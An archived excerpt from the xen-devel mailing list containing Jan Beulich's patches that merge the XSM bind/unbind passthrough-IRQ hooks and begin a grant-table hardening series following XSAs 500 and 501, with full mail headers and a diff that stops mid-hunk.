	XWl6YGPpRqggp+7g7XU2kScR51XcHZf9HiHryHEvVmybNB/DBkKTZcruTcoPdrS1Y2oFxkc2HYc
	B8kvhIzJLXynL7yUW25dkeLM6sad5ZwY+z+QA3sOr4SifvvZJPkT0VegIt0p5A/EF0Wg5CajsL0
	wWJO3Yucmzk+ISfjbpp3/Q4xCMCzq5kIJVYyyZSEU8BD1txSk3+xj3xuLLHqDqbtDnF7d0Tpbey
	You3k1PetH5PNJfLYhgkM2J4XEb1qct8MT5WXcBM+lYboOJtslvw+R61n0b3177VI2JAOh0vvPV
	Ain
X-Received: by 2002:a05:6000:2c04:b0:47f:8887:3b07 with SMTP id ffacd0b85a97d-47fb1e6992fmr3249734f8f.13.1785245201130;
        Tue, 28 Jul 2026 06:26:41 -0700 (PDT)
Message-ID: <03d4456b-9e85-469c-a2a1-769faad67bb0@suse.com>
Date: Tue, 28 Jul 2026 15:26:39 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 24/24] XSM: fold xsm_{,un}bind_pt_irq() hooks
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Daniel Smith <dpsmith@apertussolutions.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Teddy Astie <teddy.astie@vates.tech>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger@xenproject.org>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Volodymyr Babchuk <volodymyr_babchuk@epam.com>,
 Bertrand Marquis <bertrand.marquis@arm.com>,
 Michal Orzel <michal.orzel@amd.com>
References: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6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kQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <758c8410-a18e-45dc-8944-5913e5832397@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-33051d/1785245201-76CF84E9-42ED0A11/20/8814405245
X-purgate-type: spam
X-purgate-size: 4199

Like other resource management hooks they are mainly different in "add
resource" vs "remove resource". Hence like in other cases a single hook
can easily serve both purposes, with minor tweaking of
flask_bind_pt_irq(). While adjusting that function, also defer the setting
of "dperm", which is only needed in the "map" case.

Signed-off-by: Jan Beulich <jbeulich@suse.com>

--- a/xen/arch/arm/domctl.c
+++ b/xen/arch/arm/domctl.c
@@ -104,7 +104,7 @@ long arch_do_domctl(struct xen_domctl *d
         if ( rc )
             return rc;
 
-        rc = xsm_bind_pt_irq(XSM_DM_PRIV, d, bind);
+        rc = xsm_bind_pt_irq(XSM_DM_PRIV, d, bind, true);
         if ( rc )
             return rc;
 
@@ -140,7 +140,7 @@ long arch_do_domctl(struct xen_domctl *d
         if ( irq != virq )
             return -EINVAL;
 
-        rc = xsm_unbind_pt_irq(XSM_DM_PRIV, d, bind);
+        rc = xsm_bind_pt_irq(XSM_DM_PRIV, d, bind, false);
         if ( rc )
             return rc;
 
--- a/xen/arch/x86/domctl.c
+++ b/xen/arch/x86/domctl.c
@@ -622,7 +622,7 @@ long arch_do_domctl(
         if ( !is_hvm_domain(d) )
             break;
 
-        ret = xsm_bind_pt_irq(XSM_DM_PRIV, d, bind);
+        ret = xsm_bind_pt_irq(XSM_DM_PRIV, d, bind, true);
         if ( ret )
             break;
 
@@ -660,7 +660,7 @@ long arch_do_domctl(
         if ( !is_hvm_domain(d) )
             break;
 
-        ret = xsm_unbind_pt_irq(XSM_DM_PRIV, d, bind);
+        ret = xsm_bind_pt_irq(XSM_DM_PRIV, d, bind, false);
         if ( ret )
             break;
 
--- a/xen/include/xsm/dummy.h
+++ b/xen/include/xsm/dummy.h
@@ -478,14 +478,8 @@ static XSM_INLINE int xsm_map_domain_irq
 }
 
 static XSM_INLINE int xsm_bind_pt_irq(
-    XSM_DEFAULT_ARG struct domain *d, struct xen_domctl_bind_pt_irq *bind)
-{
-    XSM_ASSERT_ACTION(XSM_DM_PRIV);
-    return xsm_default_action(action, current->domain, d);
-}
-
-static XSM_INLINE int xsm_unbind_pt_irq(
-    XSM_DEFAULT_ARG struct domain *d, struct xen_domctl_bind_pt_irq *bind)
+    XSM_DEFAULT_ARG struct domain *d, struct xen_domctl_bind_pt_irq *bind,
+    bool allow)
 {
     XSM_ASSERT_ACTION(XSM_DM_PRIV);
     return xsm_default_action(action, current->domain, d);
--- a/xen/include/xsm/hooks.h
+++ b/xen/include/xsm/hooks.h
@@ -72,8 +72,8 @@ XSM_HOOK(int, map_domain_pirq, struct do
 #endif
 
 XSM_HOOK(int, map_domain_irq, struct domain *, int, const pci_sbdf_t *, bool)
-XSM_HOOK(int, bind_pt_irq, struct domain *, struct xen_domctl_bind_pt_irq *)
-XSM_HOOK(int, unbind_pt_irq, struct domain *, struct xen_domctl_bind_pt_irq *)
+XSM_HOOK(int, bind_pt_irq, struct domain *, struct xen_domctl_bind_pt_irq *,
+                           bool)
 
 XSM_HOOK(int, irq_permission, struct domain *, int, bool)
 XSM_HOOK(int, iomem_permission, struct domain *, uint64_t, uint64_t, bool)
--- a/xen/xsm/flask/hooks.c
+++ b/xen/xsm/flask/hooks.c
@@ -1090,16 +1090,15 @@ static int cf_check flask_map_domain_irq
 }
 
 static int cf_check flask_bind_pt_irq(
-    struct domain *d, struct xen_domctl_bind_pt_irq *bind)
+    struct domain *d, struct xen_domctl_bind_pt_irq *bind, bool access)
 {
-    uint32_t dsid, rsid;
+    uint32_t dsid, rsid, dperm;
     int rc = -EPERM;
     int irq;
     struct avc_audit_data ad;
-    uint32_t dperm = flask_iommu_resource_use_perm(d);
 
-    rc = current_has_perm(d, SECCLASS_RESOURCE, RESOURCE__ADD);
-    if ( rc )
+    rc = current_has_perm(d, SECCLASS_RESOURCE, resource_to_perm(access));
+    if ( rc || access )
         return rc;
 
     irq = domain_pirq_to_irq(d, bind->machine_irq);
@@ -1113,13 +1112,9 @@ static int cf_check flask_bind_pt_irq(
         return rc;
 
     dsid = domain_sid(d);
-    return avc_has_perm(dsid, rsid, SECCLASS_RESOURCE, dperm, &ad);
-}
+    dperm = flask_iommu_resource_use_perm(d);
 
-static int cf_check flask_unbind_pt_irq(
-    struct domain *d, struct xen_domctl_bind_pt_irq *bind)
-{
-    return current_has_perm(d, SECCLASS_RESOURCE, RESOURCE__REMOVE);
+    return avc_has_perm(dsid, rsid, SECCLASS_RESOURCE, dperm, &ad);
 }
 
 static int cf_check flask_irq_permission(



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:47:26 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:47:26 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374235.1621262 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woi9P-00041H-48; Tue, 28 Jul 2026 13:47:19 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374235.1621262; Tue, 28 Jul 2026 13:47:19 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woi9P-00041A-1H; Tue, 28 Jul 2026 13:47:19 +0000
Received: by outflank-mailman (input) for mailman id 1374235;
 Tue, 28 Jul 2026 13:47:18 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woi9O-000414-7k
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:47:18 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woi9N-00BXP9-Dp
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:47:17 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68b2e4-e002-0a2a0a5209dd-0a2a450b8302-16
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:47:17 +0200
Received: from [209.85.128.43] (helo=mail-wm1-f43.google.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68b2e4-b7e8-0a2a450b0019-d155802bb8c3-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:47:17 +0200
Received: by mail-wm1-f43.google.com with SMTP id
 5b1f17b1804b1-496bb7cdf51so23571595e9.2
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:47:17 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c4443396sm90492335e9.0.2026.07.28.06.47.14
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:47:15 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:Autocrypt:Subject:From:Cc:To:Content-Language:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785246436; x=1785851236; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=nC5fGrFxn8XHaZsl2HYHhAUT5r8iSh+dM0PJcAyEv+8=;
        b=VTFMuB792AjNmko9ed3jg8RU6fYa9br0ykePO10YF3byWHLv6ilbJ8JjRiCI9SHhi0
         HQb5wQmJqeu398cyLyAnwF08L+TTiVCRMHjRGLDRslcBpgMDcNtQ71y3GAshsKYhvXI/
         yFqKO2REM08sH4cedBiYLBvifnoKFZrD+AQudfKMTjMV1ZVz3N6GXXGsqt7Quq+zuLZH
         ZUsnL3LPBHt3rcyrj+li6953tQBWxWYmIg+M7/SMD3etdyXP+4S52E/dqrvYq8/QRHdX
         YtBM2VRU+PGH/mQclp758I37e1oDp/hLfOyWRY44c+vnTgpOAw8UoWi6mocZBlG5S0Ac
         8TyA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785246436; x=1785851236;
        h=content-transfer-encoding:content-type:autocrypt:subject:from:cc:to
         :content-language:user-agent:mime-version:date:message-id:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=nC5fGrFxn8XHaZsl2HYHhAUT5r8iSh+dM0PJcAyEv+8=;
        b=Hlj55wxT2ztG3Cpr2PtaqovM/6B2tgzk0cgR2VSfqmTg45yJTg+MhYbrkHDOfAUagy
         deNCw8Xj8igRQLqqy/z9CwHbR1p5cgeGxN8bFyB7Sunv9J/pNYbBYRVsNIsFMAAfomC9
         Zp8YFUwVDiV5uhpDdy/v2Q9jRToumbVy3VamzfB5xmoTpEARFYZSURhu4ANi9pkXs/lH
         SLQc2YHvtkpnPunsgypexnRowsGJNKLBhMlOfT/uonh7HvD/u+JqD+L0WySNGbuLEoLR
         bgze42z7O5CLsEojEsLha82UZhvcTTHE7XJcMvplAr+rxdQHvUPkn1ELB7ukZYOEcyCQ
         ZNpA==
X-Gm-Message-State: AOJu0YwGhriuTaNPaNnBo20Cv9VhW8uVqJFlsxO9tikNBKIooUMAxVd/
	Glsa4dPlvbsUmAw0ewsDpNBnnpneCnbytH9FKqz9VvOQeYdzQP6hGdnT3o4VCAsHCCBkG1X1jeI
	OLB975w==
X-Gm-Gg: AR+sD12b7EsKeCVOV7Fu1rUAsrNJ0Vhn/XM6XBx0lcBABUTHMTUjey37hvvcCuHzRqt
	6YYUqBDtyffw6Q/iTby54rV25hs1QtTvYx8IbugM0Jojy355dF5PXVu3pAf/+8XlJjQDWVi2Jkc
	UULwiJdocYobmhSblTun3TJMWWW1iPJ23oVR0r1P/IWQNFNb8CgnpNnmUKZl0CsHY2VWKW8fne8
	XgaItxUNrk4SWrRUpFZ/yzjq2ibrsRHcAIxJauWjCHeN2JldeYBgEGNkbEyCIEIefc1yuU3VMDR
	zsH0jZ8PV+20uuMaI+xh1bEYTibh/zA0F0ibWhmwulA9gDipaIvvMJrNMqIxSKCc6kdJgnn0oIK
	d7z9bTemnp06em0SldUlpsnKpARSjs9K0bAEwetVmDL4gM6401ou87GLJqUXBV6W7912rqGVb88
	TaH2YfaDxZkLHnoIYD+V8LQijXflvlS+RZrBJhwLnI5PG1cVskeqYd8YUOrYR5YAv7D/ueQRDQ2
	TgA
X-Received: by 2002:a05:600c:4714:b0:496:bbce:fc with SMTP id 5b1f17b1804b1-496c642c8d1mr31946465e9.12.1785246436415;
        Tue, 28 Jul 2026 06:47:16 -0700 (PDT)
Message-ID: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
Date: Tue, 28 Jul 2026 15:47:14 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Content-Language: en-US
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>
From: Jan Beulich <jbeulich@suse.com>
Subject: [PATCH 0/7] gnttab: follow-on to XSAs 500 and 501
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-42698a/1785246437-1B4D39EA-10E36FD5/0/0
X-purgate-type: clean
X-purgate-size: 408

1: add another compiler barrier to acquire_grant_for_copy()
2: limit scope of transitive-only variables in acquire_grant_for_copy()
3: fold redundant error code paths in acquire_grant_for_copy()
4: use available local var in map_grant_ref()
5: drop local "ld" from unmap_common_complete()
6: rename a parameter of gnttab_populate_status_frames()
7: unreachable code when GNTTAB_MAX_VERSION < 2

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 13:50:30 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 13:50:30 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1374242.1621270 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiCT-0005mg-HN; Tue, 28 Jul 2026 13:50:29 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1374242.1621270; Tue, 28 Jul 2026 13:50:29 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1woiCT-0005mZ-Eg; Tue, 28 Jul 2026 13:50:29 +0000
Received: by outflank-mailman (input) for mailman id 1374242;
 Tue, 28 Jul 2026 13:50:28 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1woiCS-0005mS-G2
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 13:50:28 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1woiCQ-00BQxQ-DA
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 15:50:26 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68b38b-5cb7-0a2a0a5109dd-0a2a4505dec6-42
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:50:26 +0200
Received: from [209.85.128.52] (helo=mail-wm1-f52.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68b3a2-4cb1-0a2a45050019-d1558034ad53-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 15:50:26 +0200
Received: by mail-wm1-f52.google.com with SMTP id
 5b1f17b1804b1-49558ce01afso29238695e9.1
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:50:26 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c44b84edsm128749065e9.5.2026.07.28.06.50.24
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 06:50:25 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785246626; x=1785851426; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:from:to:cc:subject:date:message-id
         :reply-to:content-type;
        bh=O19QP3xK+jBJGuTPifAq7K+sTyafDuxBrZmdycbbFB4=;
        b=adAUasnuXTgFIflJp5hvpDOhLBfCqhr1WHiLCRrvl6vNO4EVJDz1N7WKWqkxAXrfue
         jXnCueHCmjyQOaRgzOIEdAc/ZZ0DjbuZbKcu7UyFu9KWCMGnjW1SffwyCeEI6k9Gth1w
         mpXjnLndR4/SlS/Mr1fYI1vLNi1dnSdVsiKT5DtrL2ryDCMteZQA2NBJiBtKnS8TdpWx
         QetprwQgFYBJ5UEgG7UgjBq6efLAztQw5bab+GNhNIWWrfh0udI8c9GuLa9IL1HHuJyJ
         d80DsHsZPnOHG4ZRlWeYc3xRuS2oamhL/6qjJ4VCekTZ4SYqoRCGk1FWcHfaZTLCOuP/
         IpQA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785246626; x=1785851426;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt
         :content-language:references:cc:to:from:subject:user-agent
         :mime-version:date:message-id:x-gm-gg:x-gm-message-state:from:to:cc
         :subject:date:message-id:reply-to:content-type;
        bh=O19QP3xK+jBJGuTPifAq7K+sTyafDuxBrZmdycbbFB4=;
        b=ExR4QPmmnjALEUa3icukNJ6nQUG7+PUb1dtEfoxPGW1cExIbwYfjGXlKa/EBFCHdS7
         UDl/2LK1CTTFsOQRiVgMzcyClpcdrADTCMxNgO0yFPnSdRVMEyhg0kc6Tgw8+eq7IDMh
         6Ja4kk8kosg6o/XZim7b1pw6mUl7daBlEuRnyR9ha2nxO3ecjdQAWZrSPRAPMq+MtHqi
         mKqjGpjUQcOjEsvTH1iwrfr1ERg37Ur9nBIdXmue8hk/TZMsNOtNCvFRrALO9j+7ugo7
         gmNxmxkGJEEu0CvvdNVKdel2XxsboU5060A+fFMv8PddSOZOYWLaDmlQ9apM4nWItts2
         3o1Q==
X-Gm-Message-State: AOJu0Yz81Np9YzY0o1cHA0P/pCjg+Y5ExneOu4MOGGg1ifGlEDmwbGMM
	z4NfqaTD2FNPZ4C4CmIC1KlgaZ6YG4tgVrAvxVQbmPs5T6lx/xa3gujm8ZuxrBKgGUnvSIHAb9t
	OvaFpBA==
X-Gm-Gg: AR+sD11QckNunU2VI81SUMaWiWk9o2N9C0MAB7d5ulGPYaIsfP3FHauRllww4vcb1pC
	RfU4fVjHem924oFcIHKLI0DCG0SoL4/wms7mccsJV2aNwB09wtvOthgrYUrIEtMp5l3MQEy2jt0
	mVVGptnUQ7PQnA4NuFyKbF+0ft8EnvbhuleYuj7xncrBXFWUxOkYu99TlDy7iekr+rtq6UioIfW
	xSSqS3Ofk5eSph5Da6En7R8IwK78RuAeJr9gTbih1KysDhYMtCe7wJ7HZuYZ7oN7C0LEa7LBvut
	c4mE88GSFilC9LFBGynpHPIi4oavg1MT8hMqrOOlRH//3atLaqzxqJpurzGO2uP4po7A2bMYqk7
	H4TC+Xp8ouGi0Uj5o5PfCLdZGjWHQ3fpR7pwEDCA8/B0AosFcFrbcYzBz1pbFiIr0X9J/FhEFcP
	QszqWvwPzBQQLH/M1qp24zVb2f1SYXd7LIExMkgdk2hMB65Vlf0UqIKIcj/mkhrieSNOpSaMlKL
	C8x
X-Received: by 2002:a05:600c:c8f:b0:495:6b55:f938 with SMTP id 5b1f17b1804b1-496c642200emr27255995e9.10.1785246625683;
        Tue, 28 Jul 2026 06:50:25 -0700 (PDT)
Message-ID: <6b05328c-7983-44fa-a1a1-bb81eed9615f@suse.com>
Date: Tue, 28 Jul 2026 15:50:24 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: [PATCH 1/7] gnttab: add another compiler barrier to
 acquire_grant_for_copy()
From: Jan Beulich <jbeulich@suse.com>
To: "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>, Julien Grall <julien@xen.org>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>
References: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
Content-Language: en-US
Autocrypt: addr=jbeulich@suse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80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <38850629-8bfa-4737-99ff-0fd3f489e56e@suse.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1785246626-24D1E2A1-12E7E466/0/0
X-purgate-type: clean
X-purgate-size: 4105

... and mem_sharing_gref_to_gfn().

Like for the fetching of trans_{domid,gref} in the former we ought to also
fetch other fields exactly once.

Signed-off-by: Jan Beulich <jbeulich@suse.com>
---
Strictly speaking mem_sharing_gref_to_gfn() would need another barriers
added on the v2 path, but it being different sub-fields of the flags looks
to make the uses okay there. Thoughts?

Note that the calculation of cache_flags in map_grant_ref() has enough of
a barrier after it already, by virtue of active_entry_release() being
called right afterwards.

The fetching of the frame in gnttab_transfer() is hopefully good enough,
by each fetch happening exactly once. The sole risk there is load tearing,
which can occur elsewhere as well.

--- a/xen/common/grant_table.c
+++ b/xen/common/grant_table.c
@@ -2606,6 +2606,7 @@ acquire_grant_for_copy(
     grant_entry_header_t *shah;
     struct active_grant_entry *act;
     grant_status_t *status;
+    unsigned int shflags;
     uint32_t old_pin;
     domid_t trans_domid;
     grant_ref_t trans_gref;
@@ -2655,8 +2656,11 @@ acquire_grant_for_copy(
         status = &status_entry(rgt, gref);
     }
 
+    shflags = shah->flags;
+    barrier();
+
     old_pin = act->pin;
-    if ( sha2 && (shah->flags & GTF_type_mask) == GTF_transitive )
+    if ( sha2 && (shflags & GTF_type_mask) == GTF_transitive )
     {
         if ( (!old_pin || (!readonly &&
                            !(old_pin & (GNTPIN_devw_mask|GNTPIN_hstw_mask)))) &&
@@ -2793,6 +2797,8 @@ acquire_grant_for_copy(
     else if ( !old_pin ||
